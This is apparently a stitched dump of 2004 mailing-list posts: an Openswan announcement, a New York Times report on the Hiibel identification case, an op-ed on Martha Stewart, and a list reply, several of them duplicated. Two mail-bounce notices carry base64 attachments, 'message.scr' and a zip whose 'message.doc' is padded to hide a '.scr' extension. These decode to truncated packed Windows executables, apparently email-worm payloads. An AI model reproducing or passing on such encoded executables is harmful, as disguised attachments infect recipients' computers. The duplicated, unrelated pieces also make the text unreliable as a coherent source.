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FreeS/WAN Continues As Openswan (fwd from brian-slashdotnews@hyperreal.org)
Don't forget http://strongswan.org as well. - Forwarded message from [EMAIL PROTECTED] - From: [EMAIL PROTECTED] Date: 23 Mar 2004 11:26:01 - To: [EMAIL PROTECTED] Subject: FreeS/WAN Continues As Openswan User-Agent: SlashdotNewsScooper/0.0.3 Link: http://slashdot.org/article.pl?sid=04/03/23/029 Posted by: timothy, on 2004-03-23 10:21:00 Topic: encryption, 25 comments from the duckling-of-indeterminate-pulchritude dept. leto writes It seems some of the developers and volunteers of the (recently deceased) FreeS/WAN project have started a [1]new company to develop and support the successor of the Linux IPsec code under the name of [2]Openswan in a Cygnus style business model. They [3]announced the new version at CeBIT which fully supports the new Linux 2.6 native IPsec stack. According to the [4]Openswan website, it was started 'by a few of the developers who were growing frustrated with the politics surrounding the FreeS/WAN project.' There is a [5]FAQ that explains how the various parts of IPsec on Linux work together. I guess that means US citizens can finally submit patches, and that distributions like RedHat/Fedora can now include it in their distribution. FreeS/WAN has always had the most features and most the most user-friendly configuration. It is good to see that will continue. And their [6]mailing list finally seems to refuse spam too. [7]Click Here References 1. http://www.xelerance.com/ 2. http://www.openswan.org/ 3. http://www.xelerance.com/pr/20040317/ 4. http://www.openswan.org/about.php 5. http://www.xelerance.com/pr/20040318/#faq 6. http://lists.openswan.org/pipermail/users/2004-March/thread.html 7. http://ads.osdn.com/?ad_id=2683alloc_id=6523site_id=1request_id=3326894op=clickpage=%2farticle%2epl - End forwarded message - -- Eugen* Leitl a href=http://leitl.org;leitl/a __ ICBM: 48.07078, 11.61144http://www.leitl.org 8B29F6BE: 099D 78BA 2FD3 B014 B08A 7779 75B0 2443 8B29 F6BE http://moleculardevices.org http://nanomachines.net pgp0.pgp Description: PGP signature
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Supreme Court to Decide Mandatory Identification Case
http://www.nytimes.com/2004/03/22/politics/22CND-SCOT.html?amp;ei=5062en=d465b07e1cd628eepartner=GOOGLEex=1080622800pagewanted=printposition= The New York Times March 22, 2004 Supreme Court to Decide Mandatory Identification Case By LINDA GREENHOUSE ASHINGTON, March 22 - A Nevada rancher's refusal four years ago to tell a deputy sheriff his name led to a Supreme Court argument today on a question that, surprisingly, the justices have never resolved: whether people can be required to identify themselves to the police when the police have some basis for suspicion but lack the probable cause necessary for an actual arrest. The answer, in a case that has drawn intense interest from those who fear increased government intrusion on personal privacy, appeared elusive. A name itself is a neutral fact that is neither incriminating nor an undue invasion of privacy, Conrad Hafen, Nevada's senior deputy attorney general, told the court in defense of a state statute that requires people to identify themselves to the police if stopped under circumstances which reasonably indicate that the person has committed, is committing or is about to commit a crime. Justice David H. Souter told Mr. Hafen, It's a neutral fact that I'm wearing a pinstripe suit. But, he added, if someone who had just robbed a bank was reported to be wearing a pinstripe suit, that fact, if reported to the police, might no longer be so neutral. The Bush administration joined the state in defending the statute. Lawyers for Larry D. Hiibel , who was appealing his conviction for violating the Nevada law, raised two constitutional challenges to the identification requirement: that it amounts to an illegal search under the Fourth Amendment, and that it compels self-incrimination in violation of the Fifth Amendment. The Nevada Supreme Court upheld Mr. Hiibel's conviction, a misdemeanor, and rejected his constitutional challenge to the state law. Standing by the side of his pick-up truck on a rural road, he had been approached by a sheriff's deputy who was investigating a passing motorist's report that a man in the truck had been hitting a woman. The woman in the passenger compartment was Mr. Hiibel's adult daughter. The deputy sheriff, Lee Dove, asked Mr. Hiibel 11 times for identification. Mr. Hiibel, saying he had done nothing wrong, refused to give his name and challenged Mr. Dove to arrest him. Eventually, the deputy complied. A videotape of the incident, captured by a camera in the squad car, is on Mr. Hiibel's Web side, www.hiibel.com. Mr. Hiibel was never charged with any criminal offense beyond his refusal to identify himself. A landmark Supreme Court ruling in 1968, Terry v. Ohio, gave the police the authority to briefly detain, question and conduct a pat-down search of someone whose activities - casing a Cleveland storefront, in that case - gave rise to reasonable suspicion, short of probable cause for a formal arrest. There is no dispute that the encounter between Mr. Hiibel and Deputy Dove was a Terry stop within the meaning of that decision. The dispute in Hiibel v. Sixth Judicial District Court, No. 03-5554, is over Mr. Hiibel's response, or lack of response. Nevada's deputy state public defender, Robert E. Dolan, told the justices that while the deputy certainly had the right to ask Mr. Hiibel for his name, equally so, Mr. Hiibel had the right not to respond. Justice Antonin Scalia was openly skeptical. What is the meaning of Terry? he asked. Did Mr. Dolan mean that the police were allowed to ask questions but shouldn't expect answers? Yes, the public defender replied; the state should not be permitted to criminalize silence or to extract data from a person. Justice Stephen G. Breyer appeared to agree, suggesting a rule under which the police can ask but the citizen does not have to answer. Everyone can understand that, Justice Breyer said, adding, Why complicate this thing? Several Supreme Court decisions over the years have suggested such a rule, but there has never been a formal opinion to that effect. One of the Fourth Amendment questions in the case is whether a person's refusal to answer a seemingly benign identity question can convert a police officer's reasonable suspicion into probable cause to make an arrest. Only Justice Scalia appeared to endorse that prospect. I would think any reasonable citizen would answer, he observed. One of the many wrinkles in the case is that once a person is actually arrested, the right to remain silent is guaranteed by the Fifth Amendment. To that extent, a person who falls under a lesser degree of suspicion may be seen as having less constitutional protection. Another wrinkle is that there is no claim that the police cannot run a check on a license tag or - if the suspect is driving - ask to see the driver's license. In this case, Mr. Hiibel's daughter was behind the wheel, Mr. Hiibel was outside the truck, and the case was not treated as a traffic investigation. As a matter of Fifth
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Hi. This is the qmail-send program at popeye.telecable.es. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. [EMAIL PROTECTED]: user is over quota --- Below this line is a copy of the message. Return-Path: [EMAIL PROTECTED] Received: (qmail 32064 invoked from network); 23 Mar 2004 15:09:44 - Received: from unknown (HELO minder.net) (168.243.177.5) by mail.netcom.atodavela.com with SMTP; 23 Mar 2004 15:09:44 - From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: hi Date: Tue, 16 Jan 1996 01:03:19 -0600 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0011_46F76CF4.1E715950 X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. --=_NextPart_000_0011_46F76CF4.1E715950 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit test --=_NextPart_000_0011_46F76CF4.1E715950 Content-Type: application/octet-stream; name=message.scr Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=message.scr TVqQAAME//8AALgAQAAA qAAA UEUA AEwBAwDgAA8BCwEHAABQEGAAAGC+cMAASgAAEAAA AAIAAAQABAAA0BACAAAQAAAQABAAABAQ AADowQAAMAEAAADAAADoAQAA AABVUFgwAABgEAAEAACAAADg VVBYMQAAUHBQBAAAQAAA4C5yc3JjABDA BFQAAEAAAMAA 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
[osint] Martha's lesson - don't talk to the FBI
--- begin forwarded text To: From: Tefft, Bruce [EMAIL PROTECTED] Mailing-List: list [EMAIL PROTECTED]; contact [EMAIL PROTECTED] Delivered-To: mailing list [EMAIL PROTECTED] Date: Mon, 22 Mar 2004 14:32:37 -0500 Subject: [osint] Martha's lesson - don't talk to the FBI Reply-To: [EMAIL PROTECTED] Thought everyone knew that. Bruce - http://www.nwanews.com/times/story_Editorial.php?storyid=115586 Guest Commentary : Martha's lesson - don't talk to the FBI BY DONALD KAUL Posted on Saturday, March 20, 2004 Here is the lesson to be learned from the fall of Martha Stewart: Don't ever, under any circumstances, answer questions put to you by the FBI or any other federal agent unless you have a competent criminal lawyer at your side. And it would be better if it were a very good criminal lawyer. There are other lessons to be drawn from the fate of poor Martha, but that's the main one. You see, there is a section in the federal code, referred to as 1001 by legal eagles, that makes it a crime to lie to a federal agent. The agent doesn't have to put you under oath. If you tell him or her a lie, you're guilty. The federal officer doesn't even have to tape the conversation. All he or she has to do is produce handwritten notes that indicate that you made false statements. So, if you misspeak or the agent mishears or there is an ambiguity that the agent chooses to interpret in an unfortunate (for you) direction, you're on the hook. There's also the possibility that you might be tempted to shade the truth a bit when an IRS agent is quizzing you about that business deduction you took for the trip to Vegas. My advice to you is: Don't do it. To be on the safe side, when confronted by a federal agent, don't say anything at all unless your lawyer says you have to. It's a shame things have come to this. It used to be that people felt it their duty as citizens to cooperate with federal authorities. That was before Law 1001. We now live in an era of Incredible Shrinking Civil Rights. You have to protect yourself at all times. Let's look more closely at the case of Poor Martha the Match Girl. What did she do? She was convicted of lying about the reason she sold her shares in a biotechnology company two years ago. She said she sold them because they had fallen to the price at which she and her broker had agreed to sell. The government argued (and the jury believed) that she sold because her broker passed on some inside information that the stock was going to plunge in the next couple of days. I know what you're going to say - insider trading. True, it has that smell about it, but the government did not charge her with insider trading, only with lying about it. I hate that. It seems to me that convicting someone of lying about a crime that the government isn't willing to prove happened is unfair. Add to that the fact that Ms. Stewart saved all of $45,000 on the stock transaction and has seen her fortune decrease by hundreds of millions because of the trial, and the penalty does not seem to fit the crime. I think the reason the government has spent millions pursuing this two-bit case is because Ms. Stewart is famous and the case makes it look as though the Justice Department is doing a bang-up job running down crooks in high places. Also, the lifestyle lady - a political contributor to Democrats rather than Republicans, incidentally - irritated prosecutors with her haughty, arrogant attitude. (It's always a bad idea to make prosecutors mad.) Then too, her high-priced attorney, Robert Morvillo, lost a series of strategic gambles that left his client virtually defenseless. After the government had spent six weeks making the case against Stewart, Morvillo called only one witness in her defense and questioned him for 20 minutes. His chief argument was that Stewart and her broker were too smart to pull a dumb stunt like this. As one juror said later, How could we tell anything about how smart either of them was if they never took the stand? Ultimately, I suppose, Ms. Stewart's downfall was precipitated by petty greed, arrogance and deceitfulness, not attractive attributes. But I still feel sorry for her. She's getting worse than she deserves. Donald Kaul recently retired as Washington columnist for the Des Moines Register. -- Want to discuss this topic? Head on over to our discussion list, [EMAIL PROTECTED] -- Brooks Isoldi, editor [EMAIL PROTECTED] http://www.intellnet.org Post message: [EMAIL PROTECTED] Subscribe:[EMAIL PROTECTED] Unsubscribe: [EMAIL PROTECTED] *** FAIR USE NOTICE. This message contains copyrighted material whose use has not been specifically authorized by the copyright owner. OSINT, as a part of The Intelligence Network, is making it available without profit to OSINT YahooGroups members who have expressed a prior interest in receiving the included information in their efforts to advance the understanding of intelligence and
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failure notice
Hi. This is the qmail-send program at mail.w3service.com. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. [EMAIL PROTECTED]: Sorry, no mailbox here by that name. vpopmail (#5.1.1) --- Below this line is a copy of the message. Return-Path: [EMAIL PROTECTED] Received: (qmail 7004 invoked by uid 508); 23 Mar 2004 18:20:17 - Received: from unknown (HELO minder.net) (168.243.177.5) by 0 with SMTP; 23 Mar 2004 18:20:17 - From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Error Date: Tue, 16 Jan 1996 04:13:49 -0600 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0011_91C1C7F5.DAB8532D X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. --=_NextPart_000_0011_91C1C7F5.DAB8532D Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit ï!ÏùYðu]ôîÊS)Ç¥bÃñÁõ¢Sx?òe%ZCªÄÝ,éÞ¢JÒÏ?:K¼±ÒÄñÔÝÈ,º6ükh¼ ý5~×Ôæ¡1òr{¨/¢-º´Û ܱâq˲òèùGÍ7!Òt¸_дS(0OE£Üd©|í½)ärÇg«ü),W¡ÇUõ~EeÈ%!6`YSä|w% º¦Re)Âëqͪ3céhÜáÔEhu¬3ý#ÞÃÏzOµ~BËÓ¤EÚ§B³©yW|Ñ hñObÙ¥ÕÈîwüv¾ô\?Iªy«UöÈiè«ôPê΢WÅ2(6e»(]ÅÆbb¨{½ 6L¶Û ѵQqÍy:n£8Ó8hâß*à-çVµµ§èx± qëë]6FÂþºxE»Û^¥Òâ!ÕWoÞ}¡ÕÅW8ìBMKjtüËÖâ?q°Pâgd W3ßÌö$N©ºCFnÐ ÚL8ÔzºÀ5ù)OGÅ£×?FÃQ¥Ä/WýI¹b$¥¿QY %ÇÝ×Ò2´z|:2[v\ÍýË?²è -ðþËpÔT±¡6ñÔñÄèÛ§}(}ReoèÄ°¡IþZ0åaÒm L¡%ä3-¹\)C ÉDAæ]kÛF R£Cc*0Ò;K%¯FT ²?ÏQø/Ví;F¶Øénï --=_NextPart_000_0011_91C1C7F5.DAB8532D Content-Type: application/octet-stream; name=message.zip Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=message.zip UEsDBAoAALhRMDDKJx+eAFgAAABYAABVbWVzc2FnZS5kb2MgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNj ck1akAADBP//AAC4AEAA AKgA AFBF AABMAQMA4AAPAQsBBwAAUBBgAABgvgAAAHDAAEoAABAA AAACAAAEAAQAANAQAgAAEAAAEAAQAAAQ EAAA6MEAADABwAAA6AEA VVBYMAAAYBAABAAAgAAA 4FVQWDEAAFBwUAQAAEAAAOAucnNyYwAQwAAA AAQAAABUAABAAADA ADEuMjQAVVBYIQwJAglIfomP1DYcgSmWAABTTgAAAIAAACYBAMXu hwKSAFAmSgBAA/2yaZosEAT0JegBAEvOaZpu2R/IKsADuLCopmmapqCYkIiAmqZpmnhwaGBYUM1g n2lIAEQHODA0TdN0AygkHBgQ0yy71wgjA/gp8OhN0zRN4NjQyLy0NE3TNKyknJSMzjZN04h8cGgp b1ym6ZrBB1RMA0Q4mqZpmiwkHBQMBGmazm38KH8D9OzkpmmaptzUzMi8mqZpmrSspKCYkGebpmmM gHhwKHto3mzTdQdcA1RMKP/7C3a2++NADzQo9ywvA5qmGfkkKEocFAwEaZrO7Jv8JwPs6OCmaZqm 2NTMyMCapmm6uCewrKigmGmapmmUjIiEfKRpmqZ0bGRcVGmaphtMA0RAODCmaZqmKCAYEAiapnOb APgmzwPo4Nhnm85tVDRDA0A0NNuK/51a0Nrl9AYfM05sck7YApdfksgBPXy+Q0uW5DWJ4DqX //dawCmVBHbrY95c3WHocv+PIrhR7Ywu03sm1A058Kpn/yfqsHlFFOa7k25MLRH44s+/ sqihnZyeo6u2xNXpABo3/1d6oMn1JFaLw/48fcEIUp/vQpjxTawOc9tGtCWZEIoH/4cK kBmlpaj+8sPSqPgSLEprj7bgDT1wpt8bWnzhJ1XJ/xJgvhhl1TieF3PiVIlBvJrjP8ZQjW0A lk/LagyxQ3qy/3MXzohHBciKVyPyxJlxTC4L79bArZ2Qhg97enyRiZSi/7PH3voVNVh+ p8MCNHmh3Bpbj+Ywbc0gds8rivxRuSSS/wN37mjlZehul4ODdoyVobDC1+8KKEltlL7rG06E vfk4/3q/B1Kg8UVsllOzGnzlUcAypx+aGJkdpC67S950DalI/+qPN+KQQfWsZiPjpmw1 AdCid08qCOnNtJ6Le25kXVlY/1pfZ3KAkaW81vMTNlyFseASR3+6+Dl9xA5bq/5UrQk9 /5p3pwJw4VXMBsNDxlzVYWFkanN/jKC1zegGJ0tynMn5/yxim1cWWH2wYCb+I3rUMZHkWsMv zhCF/XT2d/uADJkp/7xS64cmyG0VwG4fk4pE4ZTUEiHfroBVLRjmx6vyfGlZ/05COzc4 OD1FUF5vg5q00fEUOmPPvvDlbLbkI1v3vGGo/9A7ie5zPGP4meDFS5EXoSHeIrM/P1RIUXtv ftbP2W6V/9/+/ykDI+mUCb/m86VBEKZ8MmlrgCELLcdO0hCCbPn/c6d33hSHBwf7UqoBYcAs m/cmlt2XnSJgD0aezf0sQH//k7LS8QkgWHZoY11QUlFTamR3ASzF71QwvFcRPM6dV27/ IOOtYNrRUhXOZl+3QcAU5GWTn3j+cg2852qVe3sTdnb/fRwNLfL29LDx0ed5+t1MZaP/J2yM 3QvbjBupvXWHO0//2xSCQhQJRcyCD/pitylz+xWD5x6TfrQkaSn/vSjL6k7//+3/dw46sL/3 VNTsc5gBTQad8qKvwmLz5V433wVxUv8H+BtAflQ+p6lPLAJ9MMjnBtJUKhprTAGdBPZq+h3H Bv+F///4HZAEq5YABgYQK++Z1E7/F3gLk8b4dSGMpP9f/8xya+tv/qX97NBByXiR2cSsJsfo
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Supreme Court to Decide Mandatory Identification Case
http://www.nytimes.com/2004/03/22/politics/22CND-SCOT.html?amp;ei=5062en=d465b07e1cd628eepartner=GOOGLEex=1080622800pagewanted=printposition= The New York Times March 22, 2004 Supreme Court to Decide Mandatory Identification Case By LINDA GREENHOUSE ASHINGTON, March 22 - A Nevada rancher's refusal four years ago to tell a deputy sheriff his name led to a Supreme Court argument today on a question that, surprisingly, the justices have never resolved: whether people can be required to identify themselves to the police when the police have some basis for suspicion but lack the probable cause necessary for an actual arrest. The answer, in a case that has drawn intense interest from those who fear increased government intrusion on personal privacy, appeared elusive. A name itself is a neutral fact that is neither incriminating nor an undue invasion of privacy, Conrad Hafen, Nevada's senior deputy attorney general, told the court in defense of a state statute that requires people to identify themselves to the police if stopped under circumstances which reasonably indicate that the person has committed, is committing or is about to commit a crime. Justice David H. Souter told Mr. Hafen, It's a neutral fact that I'm wearing a pinstripe suit. But, he added, if someone who had just robbed a bank was reported to be wearing a pinstripe suit, that fact, if reported to the police, might no longer be so neutral. The Bush administration joined the state in defending the statute. Lawyers for Larry D. Hiibel , who was appealing his conviction for violating the Nevada law, raised two constitutional challenges to the identification requirement: that it amounts to an illegal search under the Fourth Amendment, and that it compels self-incrimination in violation of the Fifth Amendment. The Nevada Supreme Court upheld Mr. Hiibel's conviction, a misdemeanor, and rejected his constitutional challenge to the state law. Standing by the side of his pick-up truck on a rural road, he had been approached by a sheriff's deputy who was investigating a passing motorist's report that a man in the truck had been hitting a woman. The woman in the passenger compartment was Mr. Hiibel's adult daughter. The deputy sheriff, Lee Dove, asked Mr. Hiibel 11 times for identification. Mr. Hiibel, saying he had done nothing wrong, refused to give his name and challenged Mr. Dove to arrest him. Eventually, the deputy complied. A videotape of the incident, captured by a camera in the squad car, is on Mr. Hiibel's Web side, www.hiibel.com. Mr. Hiibel was never charged with any criminal offense beyond his refusal to identify himself. A landmark Supreme Court ruling in 1968, Terry v. Ohio, gave the police the authority to briefly detain, question and conduct a pat-down search of someone whose activities - casing a Cleveland storefront, in that case - gave rise to reasonable suspicion, short of probable cause for a formal arrest. There is no dispute that the encounter between Mr. Hiibel and Deputy Dove was a Terry stop within the meaning of that decision. The dispute in Hiibel v. Sixth Judicial District Court, No. 03-5554, is over Mr. Hiibel's response, or lack of response. Nevada's deputy state public defender, Robert E. Dolan, told the justices that while the deputy certainly had the right to ask Mr. Hiibel for his name, equally so, Mr. Hiibel had the right not to respond. Justice Antonin Scalia was openly skeptical. What is the meaning of Terry? he asked. Did Mr. Dolan mean that the police were allowed to ask questions but shouldn't expect answers? Yes, the public defender replied; the state should not be permitted to criminalize silence or to extract data from a person. Justice Stephen G. Breyer appeared to agree, suggesting a rule under which the police can ask but the citizen does not have to answer. Everyone can understand that, Justice Breyer said, adding, Why complicate this thing? Several Supreme Court decisions over the years have suggested such a rule, but there has never been a formal opinion to that effect. One of the Fourth Amendment questions in the case is whether a person's refusal to answer a seemingly benign identity question can convert a police officer's reasonable suspicion into probable cause to make an arrest. Only Justice Scalia appeared to endorse that prospect. I would think any reasonable citizen would answer, he observed. One of the many wrinkles in the case is that once a person is actually arrested, the right to remain silent is guaranteed by the Fifth Amendment. To that extent, a person who falls under a lesser degree of suspicion may be seen as having less constitutional protection. Another wrinkle is that there is no claim that the police cannot run a check on a license tag or - if the suspect is driving - ask to see the driver's license. In this case, Mr. Hiibel's daughter was behind the wheel, Mr. Hiibel was outside the truck, and the case was not treated as a traffic investigation. As a matter of Fifth
Re: MannWorld vs. BrinWorld
At 09:30 PM 3/22/04 -0600, Harmon Seaver wrote: On Mon, Mar 22, 2004 at 09:12:34PM -0500, An Metet wrote: Robert Hettinga forwards: By concentrating sensing and data storage on the body, a wearable computer allows its user to ``control his own butt.'' The user What the hell does this have to do with cypherpunks? What the fuck rock did you crawl out from under? Seconded, Harmon. CP has long included privacy (ie control, aka personal infosec) as a topic. And the use and abuse of wireless tracker^H^H^H^H cellphones (and what they will morph into) is a legit socio-tech topic which can draw heavily on crypto. And the other thread, s*veillance (ie reverse-panopticon) is completely on target. Again, the core idea being privacy.Something for which crypto was invented. Keep 'em coming Bob.
[osint] Martha's lesson - don't talk to the FBI
--- begin forwarded text To: From: Tefft, Bruce [EMAIL PROTECTED] Mailing-List: list [EMAIL PROTECTED]; contact [EMAIL PROTECTED] Delivered-To: mailing list [EMAIL PROTECTED] Date: Mon, 22 Mar 2004 14:32:37 -0500 Subject: [osint] Martha's lesson - don't talk to the FBI Reply-To: [EMAIL PROTECTED] Thought everyone knew that. Bruce - http://www.nwanews.com/times/story_Editorial.php?storyid=115586 Guest Commentary : Martha's lesson - don't talk to the FBI BY DONALD KAUL Posted on Saturday, March 20, 2004 Here is the lesson to be learned from the fall of Martha Stewart: Don't ever, under any circumstances, answer questions put to you by the FBI or any other federal agent unless you have a competent criminal lawyer at your side. And it would be better if it were a very good criminal lawyer. There are other lessons to be drawn from the fate of poor Martha, but that's the main one. You see, there is a section in the federal code, referred to as 1001 by legal eagles, that makes it a crime to lie to a federal agent. The agent doesn't have to put you under oath. If you tell him or her a lie, you're guilty. The federal officer doesn't even have to tape the conversation. All he or she has to do is produce handwritten notes that indicate that you made false statements. So, if you misspeak or the agent mishears or there is an ambiguity that the agent chooses to interpret in an unfortunate (for you) direction, you're on the hook. There's also the possibility that you might be tempted to shade the truth a bit when an IRS agent is quizzing you about that business deduction you took for the trip to Vegas. My advice to you is: Don't do it. To be on the safe side, when confronted by a federal agent, don't say anything at all unless your lawyer says you have to. It's a shame things have come to this. It used to be that people felt it their duty as citizens to cooperate with federal authorities. That was before Law 1001. We now live in an era of Incredible Shrinking Civil Rights. You have to protect yourself at all times. Let's look more closely at the case of Poor Martha the Match Girl. What did she do? She was convicted of lying about the reason she sold her shares in a biotechnology company two years ago. She said she sold them because they had fallen to the price at which she and her broker had agreed to sell. The government argued (and the jury believed) that she sold because her broker passed on some inside information that the stock was going to plunge in the next couple of days. I know what you're going to say - insider trading. True, it has that smell about it, but the government did not charge her with insider trading, only with lying about it. I hate that. It seems to me that convicting someone of lying about a crime that the government isn't willing to prove happened is unfair. Add to that the fact that Ms. Stewart saved all of $45,000 on the stock transaction and has seen her fortune decrease by hundreds of millions because of the trial, and the penalty does not seem to fit the crime. I think the reason the government has spent millions pursuing this two-bit case is because Ms. Stewart is famous and the case makes it look as though the Justice Department is doing a bang-up job running down crooks in high places. Also, the lifestyle lady - a political contributor to Democrats rather than Republicans, incidentally - irritated prosecutors with her haughty, arrogant attitude. (It's always a bad idea to make prosecutors mad.) Then too, her high-priced attorney, Robert Morvillo, lost a series of strategic gambles that left his client virtually defenseless. After the government had spent six weeks making the case against Stewart, Morvillo called only one witness in her defense and questioned him for 20 minutes. His chief argument was that Stewart and her broker were too smart to pull a dumb stunt like this. As one juror said later, How could we tell anything about how smart either of them was if they never took the stand? Ultimately, I suppose, Ms. Stewart's downfall was precipitated by petty greed, arrogance and deceitfulness, not attractive attributes. But I still feel sorry for her. She's getting worse than she deserves. Donald Kaul recently retired as Washington columnist for the Des Moines Register. -- Want to discuss this topic? Head on over to our discussion list, [EMAIL PROTECTED] -- Brooks Isoldi, editor [EMAIL PROTECTED] http://www.intellnet.org Post message: [EMAIL PROTECTED] Subscribe:[EMAIL PROTECTED] Unsubscribe: [EMAIL PROTECTED] *** FAIR USE NOTICE. This message contains copyrighted material whose use has not been specifically authorized by the copyright owner. OSINT, as a part of The Intelligence Network, is making it available without profit to OSINT YahooGroups members who have expressed a prior interest in receiving the included information in their efforts to advance the understanding of intelligence and